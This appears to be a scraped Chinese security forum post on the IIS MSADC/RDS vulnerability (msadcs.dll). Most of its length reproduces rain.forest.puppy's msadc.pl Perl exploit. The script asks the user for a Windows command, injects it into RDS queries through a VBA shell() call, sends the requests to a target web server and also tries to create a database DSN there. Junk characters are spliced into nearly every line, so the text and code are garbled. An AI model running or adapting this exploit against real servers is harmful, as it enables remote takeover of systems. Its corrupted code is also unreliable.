IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Y01!D"{\ 23L>)Q 涉及程序:
O |P<s+ Microsoft NT server
+8N6tw/& !^su=c 描述:
=VuSi(d;e{ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
At=d//5FFP H#;*kc
a4 详细:
C,l,fT 如果你没有时间读详细内容的话,就删除:
=tt3nfZ9 c:\Program Files\Common Files\System\Msadc\msadcs.dll
hd9HM5{p 有关的安全问题就没有了。
ztSQrDbbb4 9ABU^ig 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
HV/:OCK Po@;PR= 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
=r ^_D= 关于利用ODBC远程漏洞的描述,请参看:
|R@T`dW o68i0aFW http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm T
pF[-fO EC,`t*< 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
MU
a[}? http://www.microsoft.com/security/bulletins/MS99-025faq.asp QE[<Y3M .aY$-Y< 这里不再论述。
!KK `+ 9/ c5WMN.z 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
pl&nr7\ Uz! 3){E /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Jk\-e`eE 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
#d\&6'O H@xS<=:lM 3_XLx{["' #将下面这段保存为txt文件,然后: "perl -x 文件名"
HBE[q# bT2G
G #!perl
nD*iSb* #
uWdF7|PN7 # MSADC/RDS 'usage' (aka exploit) script
04|ZwX$>+ #
65~E<)UJ # by rain.forest.puppy
3[fm|aU #
/CsP@f_Gw # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
7<WS@-2I# # beta test and find errors!
1;=L]
L? %mT/y%&: use Socket; use Getopt::Std;
<L qJg getopts("e:vd:h:XR", \%args);
g3NUw/]# $ -1ajSVJ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ye$_=KARP <6 Rec^QF if (!defined $args{h} && !defined $args{R}) {
ANu>* print qq~
^)>( <6 Usage: msadc.pl -h <host> { -d <delay> -X -v }
PtW2S 1?j -h <host> = host you want to scan (ip or domain)
r4*H96l -d <seconds> = delay between calls, default 1 second
`K.B` -X = dump Index Server path table, if available
!X-\;3kC0 -v = verbose
C'$}{%Cc@$ -e = external dictionary file for step 5
J3
Q_ kMch Or a -R will resume a command session
v~L\[&|_
FJ~d&L\l ~; exit;}
lF}@@e)N @L!^2v $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gp`@dn'; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;(`bP if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
m1%rm-M if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Yt(FSb31H $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
3i!a\N4 K if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
`X@\Zv=} xc}[q`vK if (!defined $args{R}){ $ret = &has_msadc;
6Oy:5Ps8a die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
6;'[v}O^^ P knOeW"j print "Please type the NT commandline you want to run (cmd /c assumed):\n"
X|hYZR . "cmd /c ";
LQPQ !):; $in=<STDIN>; chomp $in;
R'c dEoy $command="cmd /c " . $in ;
M+
%O-B (rBsh6@) if (defined $args{R}) {&load; exit;}
Zio!j%G #2_FM!e print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
u5}:[4N%I &try_btcustmr;
06.%9R{ N+c|0 print "\nStep 2: Trying to make our own DSN...";
q%;cu1^"M &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
qK%N{ro[{? xQvI$vP print "\nStep 3: Trying known DSNs...";
_j, Tc*T &known_dsn;
;
D<k [#gm[@d, print "\nStep 4: Trying known .mdbs...";
?l6yLn5si^ &known_mdb;
`S|F\mI~
$GRw k>N if (defined $args{e}){
~wW]ntZm print "\nStep 5: Trying dictionary of DSN names...";
2Cp4aTGv# &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Bn&P@C$7 8m
iJQIq print "Sorry Charley...maybe next time?\n";
sX~E ~$_g exit;
QZvQ8 {k.:DH) ##############################################################################
^\gb|LEnK Cu#n5SF* sub sendraw { # ripped and modded from whisker
5\quh2Q_ sleep($delay); # it's a DoS on the server! At least on mine...
Ro2V-6/ my ($pstr)=@_;
#1J,!seJ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wL),/i&< die("Socket problems\n");
@
,X/Wf if(connect(S,pack "SnA4x8",2,80,$target)){
ZzE( S select(S); $|=1;
lF(v<drkB print $pstr; my @in=<S>;
}XBF#BN select(STDOUT); close(S);
cF15Mm2 return @in;
I*a@_EO } else { die("Can't connect...\n"); }}
TzaeE
p+=zl`\=| ##############################################################################
=A6*;T"W kQ\ $0=6N9 sub make_header { # make the HTTP request
?Sh]kJO my $msadc=<<EOT
i_*yS+Z; POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
0 j!<eN= User-Agent: ACTIVEDATA
_WWC8?6U Host: $ip
8wkhbD|; Content-Length: $clen
r[Pp[g-J Connection: Keep-Alive
30^q_|l:] O.Pp*sQ^ ADCClientVersion:01.06
'Jf
LTG. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
85&7WAco"B $;Fx Zkp --!ADM!ROX!YOUR!WORLD!
Xf&YcHo Content-Type: application/x-varg
M(+Pd_c6 Content-Length: $reqlen
8+w*,Ry` ]}/Rl}_ EOT
/a32QuS ; $msadc=~s/\n/\r\n/g;
`e'wWV return $msadc;}
FA,n> H1U$ApD ##############################################################################
bQ3<>e\%B ^O7sQ7V"f= sub make_req { # make the RDS request
j$Ndq(<tG my ($switch, $p1, $p2)=@_;
Nut&g"u2 my $req=""; my $t1, $t2, $query, $dsn;
HQ"T>xb 'm*W< if ($switch==1){ # this is the btcustmr.mdb query
u
$-&Im< $query="Select * from Customers where City=" . make_shell();
2EM6k|l5 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
[G8EX3 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}F{s\qUt Ox J0." elsif ($switch==2){ # this is general make table query
m@kLZimD $query="create table AZZ (B int, C varchar(10))";
"W+>?u ) $dsn="$p1";}
>C_G~R 3mU~G}ig elsif ($switch==3){ # this is general exploit table query
hev;M)t $query="select * from AZZ where C=" . make_shell();
Zm*d)</> $dsn="$p1";}
CJN~p]\ Nxt:U{`T' elsif ($switch==4){ # attempt to hork file info from index server
_}p[(sTV $query="select path from scope()";
Y({
R\W| $dsn="Provider=MSIDXS;";}
k#pO+[ x 9oc_*V0< elsif ($switch==5){ # bad query
If'2
m_ $query="select";
B\R X $dsn="$p1";}
k^ZP~.G w3q'n% $t1= make_unicode($query);
mTu>S $t2= make_unicode($dsn);
9+9g (6 $req = "\x02\x00\x03\x00";
\9`E17i $req.= "\x08\x00" . pack ("S1", length($t1));
V.
i{IW $req.= "\x00\x00" . $t1 ;
:8OT $req.= "\x08\x00" . pack ("S1", length($t2));
8:c=h/fa
$req.= "\x00\x00" . $t2 ;
pdJ]V`m $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
fD[O
tc return $req;}
>#:SJ?)`T KS(H_&j ##############################################################################
AjEy@/ (
y!o sub make_shell { # this makes the shell() statement
X>`03?L return "'|shell(\"$command\")|'";}
C)j/!+nh I\_2=mL ##############################################################################
$i+@vbU6 0^S$_L sub make_unicode { # quick little function to convert to unicode
DcBAncsK my ($in)=@_; my $out;
O0jOI3/P% for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
stK}K-=` return $out;}
0'6ai=W d`rZgY ##############################################################################
MuMq%uDA" W2rd[W sub rdo_success { # checks for RDO return success (this is kludge)
LQ k^l` my (@in) = @_; my $base=content_start(@in);
:y7K3:d3 if($in[$base]=~/multipart\/mixed/){
P9
HKev?y return 1 if( $in[$base+10]=~/^\x09\x00/ );}
M7?ktK9`ma return 0;}
P6kDtUXF h=`$ec ##############################################################################
'i$._Tx gk| %
4. sub make_dsn { # this makes a DSN for us
(/$-2.@ my @drives=("c","d","e","f");
Y _`JS; print "\nMaking DSN: ";
'|=Pw foreach $drive (@drives) {
?WXftzdf6u print "$drive: ";
S||W my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
\azMF} mb "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1_S]t[?I/ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
nZnqXclzxn $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
TO89;O return 0 if $2 eq "404"; # not found/doesn't exist
V~*>/2+ if($2 eq "200") {
(U#,; foreach $line (@results) {
fx+_;y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
KF#^MEw% } return 0;}
I1m[M? RK-bsf ##############################################################################
dQSO8Jf g]Y%c73 sub verify_exists {
k%gj my ($page)=@_;
Mm*V;ADF my @results=sendraw("GET $page HTTP/1.0\n\n");
mW!n%f return $results[0];}
<eMqg u V-#JV@b ##############################################################################
RiAg: rfVQX<95=/ sub try_btcustmr {
s9"X.-! my @drives=("c","d","e","f");
.gfi9J my @dirs=("winnt","winnt35","winnt351","win","windows");
)nf%S+KV gmH`XKi\ foreach $dir (@dirs) {
|Q)mBvvN print "$dir -> "; # fun status so you can see progress
xdbzpU
foreach $drive (@drives) {
'.z7)n print "$drive: "; # ditto
^_3Ey $reqlen=length( make_req(1,$drive,$dir) ) - 28;
v`QDms,{ $reqlenlen=length( "$reqlen" );
x[};x;[ZE $clen= 206 + $reqlenlen + $reqlen;
Qq.$!$ bP-(N14x+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
b-8@_@f|g if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0J/yd else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
V0{#q/q D+;4|7s+ ##############################################################################
UfPB-EFl$D 7/a7p(
sub odbc_error {
0qNmao4E_ my (@in)=@_; my $base;
wxcJ2T d H my $base = content_start(@in);
Wjq9f; if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]Xa]a}[uE $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;"IWm<]h;- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Uv[a
~' $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
($`IHKF1.l return $in[$base+4].$in[$base+5].$in[$base+6];}
FVl,
ttW print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
p@~Y[a = print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
7.VP7;jys $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]tu
OWR % t,42jQ9 ##############################################################################
9^g8VlQdT USEmD5 q sub verbose {
{M:/HQo my ($in)=@_;
<%3fJt-Ie return if !$verbose;
CC!`fX6z>h print STDOUT "\n$in\n";}
Pi=FnS aWimg6q ##############################################################################
3HXeBW V<|N}8{Z2a sub save {
ZiY2N*,VO my ($p1, $p2, $p3, $p4)=@_;
7Z:3xb&> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
9\?&u_ U" print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
p*jU)@a0 close OUT;}
$]#8D>E&